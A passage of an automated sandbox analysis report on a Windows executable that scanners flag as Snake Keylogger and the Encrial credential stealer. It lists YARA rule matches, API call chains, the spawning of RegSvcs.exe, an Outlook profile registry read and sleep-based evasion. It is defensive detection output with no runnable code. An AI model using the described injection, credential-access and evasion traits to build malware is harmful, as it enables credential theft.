Source: 0.2.W2k2NLSvja.exe.1580000.1.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.2.W2k2NLSvja.exe.1580000.1.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 0.2.W2k2NLSvja.exe.1580000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 2.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 2.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 2.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 0.2.W2k2NLSvja.exe.1580000.1.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.2.W2k2NLSvja.exe.1580000.1.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 00000000.00000002.2036650956.0000000001580000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 00000000.00000002.2036650956.0000000001580000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 00000000.00000002.2036650956.0000000001580000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 00000002.00000002.4484145905.0000000000402000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: Process Memory Space: W2k2NLSvja.exe PID: 5700, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: Process Memory Space: RegSvcs.exe PID: 6504, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23

Source: 0.2.W2k2NLSvja.exe.1580000.1.raw.unpack, ---.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.W2k2NLSvja.exe.1580000.1.raw.unpack, ---.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.W2k2NLSvja.exe.1580000.1.raw.unpack, ---.cs	Cryptographic APIs: 'TransformFinalBlock'

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@3/4@4/4

Source: C:\Users\user\Desktop\W2k2NLSvja.exe

Code function: 0_2_00FEA2D5 GetLastError,FormatMessageW,

0_2_00FEA2D5

Source: C:\Users\user\Desktop\W2k2NLSvja.exe	Code function: 0_2_00FD8713 AdjustTokenPrivileges,CloseHandle,		0_2_00FD8713
Source: C:\Users\user\Desktop\W2k2NLSvja.exe	Code function: 0_2_00FD8CC3 LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,		0_2_00FD8CC3

Source: C:\Users\user\Desktop\W2k2NLSvja.exe

Code function: 0_2_00FEB59E SetErrorMode,GetDiskFreeSpaceExW,SetErrorMode,

0_2_00FEB59E

Source: C:\Users\user\Desktop\W2k2NLSvja.exe

Code function: 0_2_00FFF121 CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,CloseHandle,

0_2_00FFF121

Source: C:\Users\user\Desktop\W2k2NLSvja.exe

Code function: 0_2_00FF86D0 CoInitialize,CoUninitialize,CoCreateInstance,IIDFromString,VariantInit,VariantClear,

0_2_00FF86D0

Source: C:\Users\user\Desktop\W2k2NLSvja.exe

Code function: 0_2_00F84FE9 CreateStreamOnHGlobal,FindResourceExW,LoadResource,SizeofResource,LockResource,

0_2_00F84FE9

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Mutant created: NULL

Source: C:\Users\user\Desktop\W2k2NLSvja.exe

File created: C:\Users\user\AppData\Local\Temp\aut1FE8.tmp

Jump to behavior

Source: W2k2NLSvja.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\W2k2NLSvja.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: W2k2NLSvja.exe	Virustotal: Detection: 71%
Source: W2k2NLSvja.exe	ReversingLabs: Detection: 73%

Source: unknown	Process created: C:\Users\user\Desktop\W2k2NLSvja.exe "C:\Users\user\Desktop\W2k2NLSvja.exe"
Source: C:\Users\user\Desktop\W2k2NLSvja.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Users\user\Desktop\W2k2NLSvja.exe"
Source: C:\Users\user\Desktop\W2k2NLSvja.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Users\user\Desktop\W2k2NLSvja.exe"	Jump to behavior

Source: C:\Users\user\Desktop\W2k2NLSvja.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\W2k2NLSvja.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\W2k2NLSvja.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\W2k2NLSvja.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\W2k2NLSvja.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\W2k2NLSvja.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\W2k2NLSvja.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\W2k2NLSvja.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\W2k2NLSvja.exe	Section loaded: kernel.appcore.dll	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Source: W2k2NLSvja.exe

Static file information: File size 1056256 > 1048576

Source: W2k2NLSvja.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: W2k2NLSvja.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: W2k2NLSvja.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: W2k2NLSvja.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: W2k2NLSvja.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: W2k2NLSvja.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: W2k2NLSvja.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: wntdll.pdbUGP source: W2k2NLSvja.exe, 00000000.00000003.2035571464.0000000003F00000.00000004.00001000.00020000.00000000.sdmp, W2k2NLSvja.exe, 00000000.00000003.2034512449.0000000003D60000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: W2k2NLSvja.exe, 00000000.00000003.2035571464.0000000003F00000.00000004.00001000.00020000.00000000.sdmp, W2k2NLSvja.exe, 00000000.00000003.2034512449.0000000003D60000.00000004.00001000.00020000.00000000.sdmp

Source: W2k2NLSvja.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: W2k2NLSvja.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: W2k2NLSvja.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: W2k2NLSvja.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: W2k2NLSvja.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: C:\Users\user\Desktop\W2k2NLSvja.exe

Code function: 0_2_00FFC304 LoadLibraryA,GetProcAddress,

0_2_00FFC304

Source: C:\Users\user\Desktop\W2k2NLSvja.exe	Code function: 0_2_00FA8B85 push ecx; ret	0_2_00FA8B98
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_014C2F80 push es; ret	2_2_014C2F90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_018C9C30 push esp; retf 0321h	2_2_018C9D55

Source: C:\Users\user\Desktop\W2k2NLSvja.exe	Code function: 0_2_00F84A35 GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,		0_2_00F84A35
Source: C:\Users\user\Desktop\W2k2NLSvja.exe	Code function: 0_2_010055FD IsWindowVisible,IsWindowEnabled,GetForegroundWindow,IsIconic,IsZoomed,		0_2_010055FD

Source: C:\Users\user\Desktop\W2k2NLSvja.exe

Code function: 0_2_00FA33C7 EncodePointer,__initp_misc_winsig,GetModuleHandleW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_00FA33C7

Source: C:\Users\user\Desktop\W2k2NLSvja.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Switches to a custom stack to bypass stack traces

Source: C:\Users\user\Desktop\W2k2NLSvja.exe

API/Special instruction interceptor: Address: F53274

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599890	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599781	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599655	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599547	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599437	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599327	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599216	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599109	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598998	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598868	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598750	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598394	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598257	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598140	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598031	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597922	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597812	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597703	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597594	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597484	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597375	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597264	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597156	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597047	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596937	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596828	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596718	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596609	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596500	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596390	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596281	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596171	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596062	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595953	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595832	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595703	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595591	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595483	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595373	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595265	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595155	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595047	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594935	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594828	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594719	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594609	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594500	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594390	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594281	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Window / User API: threadDelayed 6656			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Window / User API: threadDelayed 3192			Jump to behavior

Source: C:\Users\user\Desktop\W2k2NLSvja.exe

Evasive API call chain: GetSystemTimeAsFileTime,DecisionNodes

graph_0-99517

Source: C:\Users\user\Desktop\W2k2NLSvja.exe

API coverage: 4.4 %

Source: C:\Users\user\Desktop\W2k2NLSvja.exe	Code function: 0_2_00FE4696 GetFileAttributesW,FindFirstFileW,FindClose,	0_2_00FE4696
Source: C:\Users\user\Desktop\W2k2NLSvja.exe	Code function: 0_2_00FEC9C7 FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,	0_2_00FEC9C7
